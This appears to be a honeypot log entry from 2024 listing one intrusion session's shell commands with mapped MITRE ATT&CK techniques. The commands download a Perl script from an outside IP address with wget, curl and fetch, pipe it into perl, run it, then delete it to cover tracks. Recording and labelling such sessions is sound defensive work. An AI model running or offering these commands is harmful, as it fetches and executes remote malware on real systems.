Honeypot attack session (period 2024), commands issued:
uname -a ;wget -qO - http://80.68.196.6/wei|perl ; cd /tmp ; curl -O http://80.68.196.6/wei ; fetch http://80.68.196.6/wei ; perl wei ;rm -rf wei*

MITRE ATT&CK techniques observed:
T1082 System Information Discovery
T1105 Ingress Tool Transfer
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal